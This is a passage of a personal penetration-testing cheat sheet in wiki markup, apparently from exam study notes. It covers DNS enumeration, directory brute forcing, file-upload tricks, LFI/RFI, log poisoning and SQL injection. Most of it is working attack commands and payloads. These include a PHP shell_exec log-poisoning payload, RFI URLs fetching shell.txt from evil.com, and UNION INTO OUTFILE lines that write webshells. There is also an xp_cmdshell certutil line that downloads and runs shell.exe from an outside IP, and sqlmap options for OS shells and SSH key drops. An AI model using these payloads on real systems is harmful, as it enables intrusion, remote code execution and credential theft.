=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
